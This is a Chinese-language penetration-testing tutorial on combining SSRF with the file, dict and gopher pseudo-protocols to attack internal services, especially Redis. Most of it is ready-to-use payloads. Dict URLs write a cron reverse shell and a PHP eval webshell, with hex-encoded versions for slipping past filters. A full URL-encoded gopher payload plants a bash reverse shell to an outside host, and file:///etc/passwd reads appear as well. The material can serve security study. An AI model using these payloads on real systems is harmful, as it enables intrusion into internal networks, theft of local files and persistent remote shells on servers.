当前位置: 首页 > article >正文

Web渗透测试之伪协议与SSRF服务器请求伪装结合? 能产生更多的效果

目录

ssrf漏洞利用{危害}

伪协议介绍

Gopher协议简介

SSRF攻击中常用协议

file协议

file协议数据格式:

dict协议

dict协议数据格式:

Gopher攻击Redis

redis的协议数据流格式:

简单示例:

使用gopher协议写入定时任务

代码的redis格式

 gopher协议数据流将代码写入redis中,再利用linux监听

 Gopherus工具构造gopher协议数据流


ssrf漏洞利用{危害}

  1. 可以对外网服务器所在的内网进行端口扫描,获取一些服务的banner信息mysql5.5.53

  2. 有时候还可以攻击运行在内网或本地的应用程序; 内网中其它的主机 比如通过ssrf给内网的redis写定时任务,实现反弹shell;

  3. 对内网web应用进行指纹识别;

  4. 攻击内外网的web应用,比如struts2,sql注入等;

  5. 利用file协议读取本地文件等;

  6. 各种伪协议进行探测:http,file,dict,ftp,gopher等 伪协议;


伪协议介绍

    • http:// 主要用于探测主机存活和端口的开放情况

    • file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

    • dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info

    • gopher:// 分布式文档传递服务,可使用gopherus生成payload

    • ftp://针对21端口的探测

    • sftp://SSH文件传输协议或安全文件传输协议

    • ldap:// 轻量级目录访问协议 windows域控


Gopher协议简介

  • Gopher定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。
    • 在WWW出现之前,Gopher是Internet上最主要的信息检索工具
    • Gopher站点也是最主要的站点,使用tcp70端口。
    • 但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
  • gopher支持发出GET、POST请求。
    • 可以先截获get请求包和post请求包
    • 再构造成符合gopher协议的请求,gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)

SSRF攻击中常用协议

file协议

  • file协议主要用于读取服务器本地文件,访问本地的静态资源

file协议数据格式:

  • file://文件绝对路径名
file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xml

dict协议

  • dict协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息
  • 当然dict协议也可以用来执行一些服务的命令
    • 如redis:
      • 内网主机探测
      • 开放端口探测
      • 端口服务指纹探测
      • 执行命令
  • 注意:dict执行命令多行操作的命令时,只能一次执行单行,需分多次执行。

dict协议数据格式:

ditc://ip:port/命令

一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info
 
 
二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
 
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save
 
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
 
 
三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save
 
若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
 
 
四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似

Gopher攻击Redis

redis的协议数据流格式:

  • 数据流格式中CR LF表示的就是\r \n
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

简单示例:

  • *4:表示4个参数 config、set、dir、/var/www/html
  • $6:表示每个参数的字节长度 config长度为6
*4
$6
config
$3
set
$3
dir
$13
/var/www/html

使用gopher协议写入定时任务

set ttt "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1\n\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
quite

代码的redis格式

*3
$3
set
$3
ttt
$69
 
 
 
*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1
 
 
 
 
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit

 gopher协议数据流将代码写入redis中,再利用linux监听

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/7777 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

 Gopherus工具构造gopher协议数据流

  • 使用gopherus这款工具进行自动化生成payload。该工具支持生成多种服务利用的payload,其中包括了redis、mysql、fastcgi等
  • root用户执行的就会在/var/spool/cron/下面创建root文件

http://www.kler.cn/a/512445.html

相关文章:

  • BEVFusion论文阅读
  • 游戏引擎学习第80天
  • 鸿蒙开发中的骨架图:提升用户体验的关键一环
  • 【EdgeAI实战】(1)STM32 边缘 AI 生态系统
  • 如何将自己本地项目开源到github上?
  • java基础概念59-File
  • Linux--运维
  • 在 WiFi 连接的情况下,查找某一个 IP 地址所在位置
  • Trimble三维激光扫描-地下公共设施维护的新途径【沪敖3D】
  • PHP函数
  • 检查w-form-select 组件是否正确透传了 visible-change 事件
  • 0基础跟德姆(dom)一起学AI 自然语言处理18-解码器部分实现
  • 阳振坤:AI 大模型的基础是数据,AI越发达,数据库价值越大
  • 基于SpringBoot的健身房管理系统【源码+文档+部署讲解】
  • 百度飞桨基与UIE结合Doccano的微调来训练自己的数据格式以满足复杂生产环境的数据识别的需要
  • 你了解什么是股指期货贴水套利吗?
  • 网络编程 | UDP组播通信
  • 【useReducer Hook】集中式管理组件复杂状态
  • CSS笔记基础篇02——浮动、标准流、定位、CSS精灵、字体图标
  • 实测点云标注工具
  • linux 安装mysql5.6
  • OpenCV相机标定与3D重建(63)校正图像的畸变函数undistort()的使用
  • Linux高级--3.3.1 C++ spdlog 开源异步日志方案
  • Kotlin Bytedeco OpenCV 图像图像50 仿射变换 图像缩放
  • 实现二叉树_堆
  • 【Mac】ComfyUI 部署